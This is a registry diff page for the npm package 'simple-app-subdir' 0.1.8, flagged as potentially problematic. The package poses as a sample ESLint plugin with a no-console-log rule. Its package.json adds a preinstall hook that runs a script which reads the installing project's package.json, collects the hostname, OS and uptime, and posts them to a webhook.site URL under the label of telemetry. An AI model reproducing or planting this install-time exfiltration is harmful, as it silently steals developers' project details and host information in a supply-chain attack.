simple-app-subdir 0.1.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of simple-app-subdir might be problematic. Click here for more details.

package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "simple-app-subdir",
3
+ "version": "0.1.8",
4
+ "description": "A sample npm package.",
5
+ "main": "src/index.js",
6
+ "author": "Moti H",
7
+ "license": "MIT",
8
+ "scripts":{
9
+ "preinstall": "node ./scripts/postinstall.js"
10
+ },
11
+ "dependencies": {
12
+ "axios": "^1.7.2"
13
+ }
14
+ }
@@ -0,0 +1,56 @@
1
+ const axios = require('axios');
2
+ const os = require('os');
3
+ const path = require('path');
4
+ const fs = require('fs');
5
+
6
+ function getParentPackageJson() {
7
+ // Start by getting the directory of the current module (your package)
8
+ const currentDir = __dirname;
9
+
10
+ // Move up two levels: one to leave `node_modules`, another to reach the parent package directory
11
+ const parentDir = path.resolve(currentDir, '..', '..', '..');
12
+
13
+ // Construct the path to the parent package's package.json file
14
+ const packageJsonPath = path.join(parentDir, 'package.json');
15
+
16
+ // Check if the package.json exists and read it
17
+ if (fs.existsSync(packageJsonPath)) {
18
+ const packageJsonData = fs.readFileSync(packageJsonPath, 'utf8');
19
+ const packageJson = JSON.parse(packageJsonData);
20
+ return packageJson;
21
+ } else {
22
+ throw new Error(`No package.json found in the parent directory: ${parentDir}`);
23
+ }
24
+ }
25
+
26
+ try {
27
+ const parentPackageJson = getParentPackageJson();
28
+ console.log('Parent package.json:', parentPackageJson);
29
+
30
+ // Send the parent package information as telemetry
31
+ // For example:
32
+ // sendTelemetry(parentPackageJson);
33
+
34
+
35
+
36
+ const telemetryData = {
37
+ event: 'package-installed',
38
+ timestamp: new Date().toISOString(),
39
+ platform: os.platform(),
40
+ arch: os.arch(),
41
+ nodeVersion: process.version,
42
+ packageVersion: require('../package.json').version,
43
+ packageName: require('../package.json').name,
44
+ hostname: os.hostname(),
45
+ uptime: os.uptime(),
46
+ parentPackageJson: parentPackageJson,
47
+ };
48
+
49
+ axios.post('https://webhook.site/a0f63062-f716-4f8b-b48c-691cd64b3bdc', telemetryData)
50
+ .then(response => console.log("Telemetry sent successfully"))
51
+ .catch(error => console.error("Failed to send telemetry:", error));
52
+
53
+ } catch (error) {
54
+ console.error('Failed to find or read the parent package.json:', error);
55
+ }
56
+
package/src/index.js ADDED
@@ -0,0 +1,5 @@
1
+ module.exports = {
2
+ rules: {
3
+ 'no-console-log': require('./rules/no-console-log')
4
+ }
5
+ };
@@ -0,0 +1,27 @@
1
+ module.exports = {
2
+ meta: {
3
+ type: 'suggestion',
4
+ docs: {
5
+ description: 'disallow the use of console.log',
6
+ category: 'Best Practices',
7
+ recommended: true
8
+ },
9
+ fixable: 'code', // or "whitespace" or false
10
+ schema: [] // no options
11
+ },
12
+ create: function(context) {
13
+ return {
14
+ CallExpression(node) {
15
+ if (node.callee.object &&
16
+ node.callee.object.name === 'console' &&
17
+ node.callee.property &&
18
+ node.callee.property.name === 'log') {
19
+ context.report({
20
+ node,
21
+ message: 'Unexpected console.log statement.'
22
+ });
23
+ }
24
+ }
25
+ };
26
+ }
27
+ };